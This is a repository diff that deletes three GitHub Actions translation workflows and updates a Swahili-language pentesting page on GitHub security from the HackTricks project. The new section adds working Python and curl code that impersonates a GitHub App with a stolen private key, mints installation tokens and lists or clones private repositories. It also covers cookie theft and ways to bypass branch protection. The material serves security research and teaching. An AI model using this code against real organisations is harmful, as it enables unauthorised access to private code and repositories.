BRANCH: tr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to UK (Ukranian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: uk
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Ukranian
BRANCH: uk
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to ZH (Chinese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: zh
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Chinese
BRANCH: zh
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -16,7 +16,7 @@ basic-github-information.md
Github repositories zinaweza kuwekwa kama za umma, binafsi na za ndani.
- **Binafsi** inamaanisha kwamba **tu** watu wa **taasisi** wataweza kuzifikia
- **Binafsi** inamaanisha kwamba **tu** watu wa **shirika** wataweza kuzifikia
- **Za ndani** inamaanisha kwamba **tu** watu wa **biashara** (biashara inaweza kuwa na mashirika kadhaa) wataweza kuzifikia
- **Umma** inamaanisha kwamba **mtandao wote** utaweza kuzifikia.
@@ -34,24 +34,18 @@ Tools (kila chombo kina orodha yake ya dorks):
### Github Leaks
Tafadhali, kumbuka kwamba github dorks pia zinakusudia kutafuta mvuuko kwa kutumia chaguzi za utafutaji za github. Sehemu hii imejikita kwa zana hizo ambazo zitafanya **kupakua kila repo na kutafuta taarifa nyeti ndani yao** (hata kuangalia kina fulani cha commits).
Tafadhali, kumbuka kwamba github dorks pia zinakusudia kutafuta mvuuko kwa kutumia chaguzi za utafutaji za github. Sehemu hii imejikita kwenye zana hizo ambazo zitafanya **kupakua kila repo na kutafuta taarifa nyeti ndani yao** (hata kuangalia kina fulani cha commits).
Tools (kila chombo kina orodha yake ya regexes):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
Angalia ukurasa huu: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> Unapofanya utafutaji wa mvuuko katika repo na kuendesha kitu kama `git log -p` usisahau kuna **matawi mengine yenye commits nyingine** yanayohusisha siri!
> Unapofanya utafutaji wa mvuuko katika repo na kuendesha kitu kama `git log -p` usisahau kunaweza kuwa na **matawi mengine yenye commits nyingine** yanayoshikilia siri!
### External Forks
Inawezekana **kudhoofisha repos kwa kutumia ombi la kuvuta**. Ili kujua ikiwa repo ina udhaifu unahitaji kusoma sanaa za Github Actions yaml. [**Maelezo zaidi kuhusu hii hapa chini**](./#execution-from-a-external-fork).
Inawezekana **kudhoofisha repos kwa kutumia ombi la kuvuta**. Ili kujua ikiwa repo ina udhaifu unahitaji kusoma sanaa za Github Actions yaml. [**Maelezo zaidi kuhusu hii hapa chini**](#execution-from-a-external-fork).
### Github Leaks in deleted/internal forks
@@ -65,19 +59,19 @@ accessible-deleted-data-in-github.md
### Member Privileges
Kuna **haki za msingi** ambazo zinaweza kutolewa kwa **wanachama** wa shirika. Hizi zinaweza kudhibitiwa kutoka kwenye ukurasa `https://github.com/organizations/<org_name>/settings/member_privileges` au kutoka kwenye [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
Kuna **privileges za msingi** ambazo zinaweza kutolewa kwa **wanachama** wa shirika. Hizi zinaweza kudhibitiwa kutoka kwenye ukurasa `https://github.com/organizations/<org_name>/settings/member_privileges` au kutoka kwenye [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
- **Ruhusa za msingi**: Wanachama watakuwa na ruhusa Hakuna/Soma/andika/Msimamizi juu ya repos za shirika. Inapendekezwa kuwa **Hakuna** au **Soma**.
- **Ruhusa za msingi**: Wanachama watakuwa na ruhusa Hakuna/Soma/andika/Admin juu ya repos za shirika. Inapendekezwa kuwa **Hakuna** au **Soma**.
- **Kuvuta repo**: Ikiwa si lazima, ni bora **kutokuruhusu** wanachama kuvuta repos za shirika.
- **Uundaji wa kurasa**: Ikiwa si lazima, ni bora **kutokuruhusu** wanachama kuchapisha kurasa kutoka kwa repos za shirika. Ikiwa ni lazima unaweza kuruhusu kuunda kurasa za umma au binafsi.
- **Maombi ya ufikiaji wa ushirikiano**: Kwa hili kuwezeshwa washirikiano wa nje wataweza kuomba ufikiaji wa GitHub au programu za OAuth kufikia shirika hili na rasilimali zake. Kwa kawaida inahitajika, lakini ikiwa si hivyo, ni bora kuizima.
- _Sikuweza kupata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
- **Mabadiliko ya mwonekano wa repo**: Ikiwa imewezeshwa, **wanachama** wenye ruhusa **za msimamizi** kwa **repo** wataweza **kubadilisha mwonekano wake**. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaoweza kubadilisha mwonekano wa repos. Ikiwa **hutaki** watu kufanya mambo **ya umma**, hakikisha hii ime **zimwa**.
- _Sikuweza kupata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
- **Futwa na uhamasishaji wa repo**: Ikiwa imewezeshwa, wanachama wenye ruhusa **za msimamizi** kwa repo wataweza **kufuta** au **kuhamasisha** repos za umma na binafsi.
- _Sikuweza kupata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
- **Ruhusu wanachama kuunda timu**: Ikiwa imewezeshwa, mwanachama yeyote wa shirika ataweza **kuunda** timu mpya. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaoweza kuunda timu mpya. Ni bora kuwa na hii imezimwa.
- _Sikuweza kupata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
- **Mabadiliko ya mwonekano wa repo**: Ikiwa imewezeshwa, **wanachama** wenye ruhusa **za admin** kwa **repo** wataweza **kubadilisha mwonekano wake**. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaoweza kubadilisha mwonekano wa repos. Ikiwa **hutaki** watu kufanya mambo **ya umma**, hakikisha hii ime **zimwa**.
- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
- **Futio na uhamisho wa repo**: Ikiwa imewezeshwa, wanachama wenye ruhusa **za admin** kwa repo wataweza **kufuta** au **kuhamasisha** **repos za umma na binafsi.**
- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
- **Ruhusu wanachama kuunda timu**: Ikiwa imewezeshwa, **mwanachama** yeyote wa shirika ataweza **kuunda** timu mpya. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaweza kuunda timu mpya. Ni bora kuwa na hii imezimwa.
- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
- **Mambo mengine yanaweza kuwekewa mipangilio** katika ukurasa huu lakini yale yaliyotangulia ndiyo yanayohusiana zaidi na usalama.
### Actions Settings
@@ -87,21 +81,21 @@ Mipangilio kadhaa inayohusiana na usalama inaweza kuwekwa kwa ajili ya hatua kut
> [!NOTE]
> Kumbuka kwamba mipangilio hii yote inaweza pia kuwekwa kwenye kila repo kwa kujitegemea
- **Sera za hatua za Github**: Inaruhusu kuashiria ni repos zipi zinaweza kuendesha workflows na ni workflows zipi zinapaswa kuruhusiwa. Inapendekezwa **kubainisha ni repos zipi** zinapaswa kuruhusiwa na sio kuruhusu hatua zote kuendesha.
- **Sera za hatua za Github**: Inaruhusu kuashiria ni repos gani zinaweza kuendesha workflows na ni workflows zipi zinapaswa kuruhusiwa. Inapendekezwa **kubainisha ni repos gani** zinapaswa kuruhusiwa na si kuruhusu hatua zote kuendesha.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Kuvuta workflows za ombi kutoka kwa washirikiano wa nje**: Inapendekezwa **kuhitaji idhini kwa wote** washirikiano wa nje.
- _Sikuweza kupata API yenye taarifa hii, shiriki ikiwa unayo_
- **Kuvuta workflows za ombi la kuvuta kutoka kwa washirikiano wa nje**: Inapendekezwa **kuhitaji idhini kwa wote** washirikiano wa nje.
- _Sijapata API yenye taarifa hii, shiriki ikiwa unayo_
- **Kendesha workflows kutoka kwa ombi la kuvuta**: Inashauriwa **kutoendesha workflows kutoka kwa ombi la kuvuta** kwani wasimamizi wa chanzo cha kuvuta watapewa uwezo wa kutumia tokens zenye ruhusa za kusoma kwenye repo ya chanzo.
- _Sikuweza kupata API yenye taarifa hii, shiriki ikiwa unayo_
- **Ruhusa za workflow**: Inashauriwa sana **kutoa ruhusa za kusoma tu kwa repo**. Inashauriwa kutopeana ruhusa za kuandika na kuunda/kubali ombi la kuvuta ili kuepuka matumizi mabaya ya GITHUB_TOKEN inayotolewa kwa workflows zinazokimbia.
- _Sijapata API yenye taarifa hii, shiriki ikiwa unayo_
- **Ruhusa za workflow**: Inashauriwa sana **kutoa ruhusa za kusoma tu kwa repo**. Inashauriwa kutopeana ruhusa za kuandika na kuunda/kubali ombi la kuvuta ili kuepuka matumizi mabaya ya GITHUB_TOKEN inayotolewa kwa workflows zinazoendesha.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrations
_Nnijulishe ikiwa unajua kiunganishi cha API kufikia taarifa hii!_
- **Sera ya ufikiaji wa programu za wahusika wengine**: Inapendekezwa kupunguza ufikiaji kwa kila programu na kuruhusu zile tu zinazohitajika (baada ya kuzikagua).
- **Programu za GitHub zilizowekwa**: Inapendekezwa kuruhusu zile tu zinazohitajika (baada ya kuzikagua).
- **Sera ya ufikiaji wa programu za wahusika wengine**: Inapendekezwa kupunguza ufikiaji kwa kila programu na kuruhusu tu zile zinazohitajika (baada ya kuzitathmini).
- **Programu za GitHub zilizowekwa**: Inapendekezwa kuruhusu tu zile zinazohitajika (baada ya kuzitathmini).
## Recon & Attacks abusing credentials
@@ -109,18 +103,18 @@ Kwa hali hii tutadhani kwamba umepata ufikiaji wa akaunti ya github.
### With User Credentials
Ikiwa kwa namna fulani tayari una ruhusa za mtumiaji ndani ya shirika unaweza **kuingia tu** na kuangalia ni **majukumu gani ya biashara na shirika ulionayo**, ikiwa wewe ni mwanachama wa kawaida, angalia ni **ruhusa zipi wanachama wa kawaida wanao**, katika **makundi** gani ulipo, ni **ruhusa zipi ulizonazo** juu ya **repos**, na **jinsi repos zinavyolindwa**.
Ikiwa kwa namna fulani tayari una ruhusa za mtumiaji ndani ya shirika unaweza **kuingia tu** na kuangalia ni **majukumu gani ya biashara na shirika ulionayo**, ikiwa wewe ni mwanachama wa kawaida, angalia ni **ruhusa zipi wanachama wa kawaida wanazo**, katika **makundi** gani ulipo, ni **ruhusa zipi ulizonazo** juu ya **repos**, na **jinsi repos zinavyolindwa.**
Kumbuka kwamba **2FA inaweza kutumika** hivyo utaweza kufikia taarifa hii tu ikiwa unaweza pia **kupita ukaguzi huo**.
> [!NOTE]
> Kumbuka kwamba ikiwa **utafanikiwa kuiba `user_session` cookie** (sasa imewekwa na SameSite: Lax) unaweza **kujifanya kuwa mtumiaji** bila kuhitaji ruhusa au 2FA.
> Kumbuka kwamba ikiwa **utafanikiwa kuiba cookie ya `user_session`** (sasa imewekwa na SameSite: Lax) unaweza **kujifanya kuwa mtumiaji** bila kuhitaji ruhusa au 2FA.
Angalia sehemu iliyo chini kuhusu [**kuvuka ulinzi wa matawi**](./#branch-protection-bypass) ikiwa itakuwa na manufaa.
Angalia sehemu iliyo chini kuhusu [**kuondoa ulinzi wa matawi**](#branch-protection-bypass) ikiwa itakuwa na manufaa.
### With User SSH Key
Github inaruhusu **watumiaji** kuweka **funguo za SSH** ambazo zitakuwa zikitumika kama **njia ya uthibitisho wa kupeleka msimbo** kwa niaba yao (hakuna 2FA inatumika).
Github inaruhusu **watumiaji** kuweka **SSH keys** ambazo zitatumika kama **njia ya uthibitisho wa kupeleka msimbo** kwa niaba yao (hakuna 2FA inatumika).
Kwa funguo hii unaweza kufanya **mabadiliko katika repos ambapo mtumiaji ana baadhi ya ruhusa**, hata hivyo huwezi kuitumia kufikia api ya github ili kuorodhesha mazingira. Hata hivyo, unaweza kupata **kuorodhesha mipangilio ya ndani** ili kupata taarifa kuhusu repos na mtumiaji ulionao ufikiaji:
```bash
@@ -130,11 +124,11 @@ git config --list
```
Ikiwa mtumiaji ameweka jina lake la mtumiaji kama jina lake la github unaweza kufikia **funguo za umma alizoweka** katika akaunti yake kwenye _https://github.com/\<github_username>.keys_, unaweza kuangalia hili kuthibitisha kuwa funguo binafsi ulizozipata zinaweza kutumika.
**Funguo za SSH** zinaweza pia kuwekwa katika hifadhi kama **funguo za kutekeleza**. Mtu yeyote mwenye ufikiaji wa funguo hii ataweza **kuanzisha miradi kutoka kwenye hifadhi**. Kawaida katika seva yenye funguo tofauti za kutekeleza, faili ya ndani **`~/.ssh/config`** itakupa taarifa kuhusu funguo inayohusiana.
**Funguo za SSH** pia zinaweza kuwekwa katika hifadhi kama **funguo za kutekeleza**. Mtu yeyote mwenye ufikiaji wa funguo hii ataweza **kuanzisha miradi kutoka kwenye hifadhi**. Kawaida katika seva yenye funguo tofauti za kutekeleza, faili ya ndani **`~/.ssh/config`** itakupa taarifa kuhusu funguo inayohusiana.
#### Funguo za GPG
Kama ilivyoelezwa [**hapa**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) wakati mwingine inahitajika kusaini mabadiliko au unaweza kugunduliwa.
Kama ilivyoelezwa [**hapa**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) wakati mwingine inahitajika kusaini commits au unaweza kugunduliwa.
Angalia kwa ndani ikiwa mtumiaji wa sasa ana funguo yoyote kwa:
```shell
@@ -152,57 +146,207 @@ Token ya Mtumiaji inaonekana kama hii: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123
Kwa utangulizi kuhusu [**Programu za Oauth za Github angalia taarifa za msingi**](basic-github-information.md#oauth-applications).
Mshambuliaji anaweza kuunda **Programu ya Oauth mbaya** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi.
Mshambuliaji anaweza kuunda **Programu ya Oauth yenye uharibifu** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi.
Hizi ni [mipaka ambayo programu ya Oauth inaweza kuomba](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Ni lazima kila wakati kuangalia mipaka inayohitajika kabla ya kuzikubali.
Hizi ni [mipaka ambayo programu ya Oauth inaweza kuomba](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Kila wakati inapaswa kuangalia mipaka inayohitajika kabla ya kuzikubali.
Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa habari/repos/matendo yanayohusiana na shirika.
Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa taarifa/repos/matendo yanayohusiana na shirika.
### Kwa Programu ya Github
Kwa utangulizi kuhusu [**Programu za Github angalia taarifa za msingi**](basic-github-information.md#github-applications).
Mshambuliaji anaweza kuunda **Programu ya Github mbaya** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi.
Mshambuliaji anaweza kuunda **Programu ya Github yenye uharibifu** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi.
Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa habari/repos/matendo yanayohusiana na shirika.
Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa taarifa/repos/matendo yanayohusiana na shirika.
## Kuathiri & Kutumia Vibaya Github Action
#### Kuiga Programu ya GitHub kwa kutumia funguo yake ya faragha (JWT → token za ufikiaji wa usakinishaji)
Kuna mbinu kadhaa za kuathiri na kutumia vibaya Github Action, angalia hapa:
Ikiwa unapata funguo ya faragha (PEM) ya Programu ya GitHub, unaweza kuiga kikamilifu programu hiyo katika usakinishaji wake wote:
- Tengeneza JWT ya muda mfupi iliyosainiwa kwa funguo ya faragha
- Piga simu kwa API ya REST ya Programu ya GitHub ili kuorodhesha usakinishaji
- Tengeneza token za ufikiaji za kila usakinishaji na uzitumie kuorodhesha/kukloni/kusukuma kwenye hifadhi zilizotolewa kwa usakinishaji huo
Mahitaji:
- Funguo ya faragha ya Programu ya GitHub (PEM)
- Kitambulisho cha Programu ya GitHub (nambari). GitHub inahitaji iss kuwa Kitambulisho cha Programu
Tengeneza JWT (RS256):
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
Orodha ya usakinishaji kwa programu iliyothibitishwa:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Unda token ya ufikiaji wa usakinishaji (inayotumika ≤ dakika 10):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Tumia token kupata msimbo. Unaweza kunakili au kusukuma ukitumia fomu ya URL ya xaccesstoken:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
Programmatic PoC ya kulenga shirika maalum na kuorodhesha repos za faragha (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Notes:
- Token za usakinishaji zinapata ruhusa za kiwango cha hifadhi ya programu (kwa mfano, contents: write, pull_requests: write)
- Token zinaisha muda katika ≤10 dakika, lakini token mpya zinaweza kutengenezwa bila kikomo mradi tu uhifadhi funguo binafsi
- Unaweza pia kuhesabu usakinishaji kupitia REST API (GET /app/installations) ukitumia JWT
## Kuathiri & Kutumia Github Action
Kuna mbinu kadhaa za kuathiri na kutumia Github Action, angalia hapa:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Kupita Ulinzi wa Tawi
## Kutumia Apps za GitHub za upande wa tatu zinazotumia zana za nje (Rubocop extension RCE)
- **Hitaji idadi ya idhini**: Ikiwa umeathiri akaunti kadhaa unaweza tu kukubali PR zako kutoka kwa akaunti nyingine. Ikiwa una akaunti tu kutoka ambapo ulitengeneza PR huwezi kukubali PR yako mwenyewe. Hata hivyo, ikiwa una ufikiaji wa mazingira ya **Github Action** ndani ya repo, ukitumia **GITHUB_TOKEN** unaweza kuwa na uwezo wa **kuidhinisha PR yako** na kupata idhini 1 kwa njia hii.
- _Kumbuka kwa hili na kwa kizuizi cha Wamiliki wa Kanuni kwamba kwa kawaida mtumiaji hatakuwa na uwezo wa kuidhinisha PR zake mwenyewe, lakini ikiwa wewe ni, unaweza kuitumia vibaya kukubali PR zako._
- **Futa idhini wakati mabadiliko mapya yanaposhughulikiwa**: Ikiwa hii haijakamilishwa, unaweza kuwasilisha msimbo halali, subiri hadi mtu apitishe, na kuweka msimbo mbaya na kuunganisha kwenye tawi lililolindwa.
- **Hitaji mapitio kutoka kwa Wamiliki wa Kanuni**: Ikiwa hii imewezeshwa na wewe ni Mmiliki wa Kanuni, unaweza kufanya **Github Action kuunda PR yako na kisha kuidhinisha mwenyewe**.
- Wakati **faili ya CODEOWNER imepangwa vibaya** Github haisemi chochote lakini haitatumia. Kwa hivyo, ikiwa imepangwa vibaya **ulinzi wa Wamiliki wa Kanuni hauwezi kutumika.**
- **Ruhusu wahusika maalum kupita mahitaji ya ombi la kuvuta**: Ikiwa wewe ni mmoja wa wahusika hawa unaweza kupita ulinzi wa ombi la kuvuta.
- **Jumuisha wasimamizi**: Ikiwa hii haijakamilishwa na wewe ni msimamizi wa repo, unaweza kupita ulinzi huu wa tawi.
- **Kuhujumu PR**: Unaweza kuwa na uwezo wa **kubadilisha PR ya mtu mwingine** kwa kuongeza msimbo mbaya, kuidhinisha PR inayotokana na hiyo mwenyewe na kuunganisha kila kitu.
- **Kuondoa Ulinzi wa Tawi**: Ikiwa wewe ni **msimamizi wa repo unaweza kuzima ulinzi**, kuunganisha PR yako na kuweka ulinzi tena.
- **Kupita ulinzi wa kusukuma**: Ikiwa repo **inaruhusu tu watumiaji fulani** kutuma kusukuma (kuunganisha msimbo) katika matawi (ulinzi wa tawi unaweza kulinda matawi yote kwa kubainisha wildcard `*`).
- Ikiwa una **ufikiaji wa kuandika juu ya repo lakini hujapewa ruhusa ya kusukuma msimbo** kwa sababu ya ulinzi wa tawi, bado unaweza **kuunda tawi jipya** na ndani yake kuunda **github action inayozinduliwa wakati msimbo unasukumwa**. Kwa kuwa **ulinzi wa tawi hautalinda tawi hadi litengenezwe**, kusukuma kwa msimbo huu wa kwanza kwenye tawi kut **atekeleza github action**.
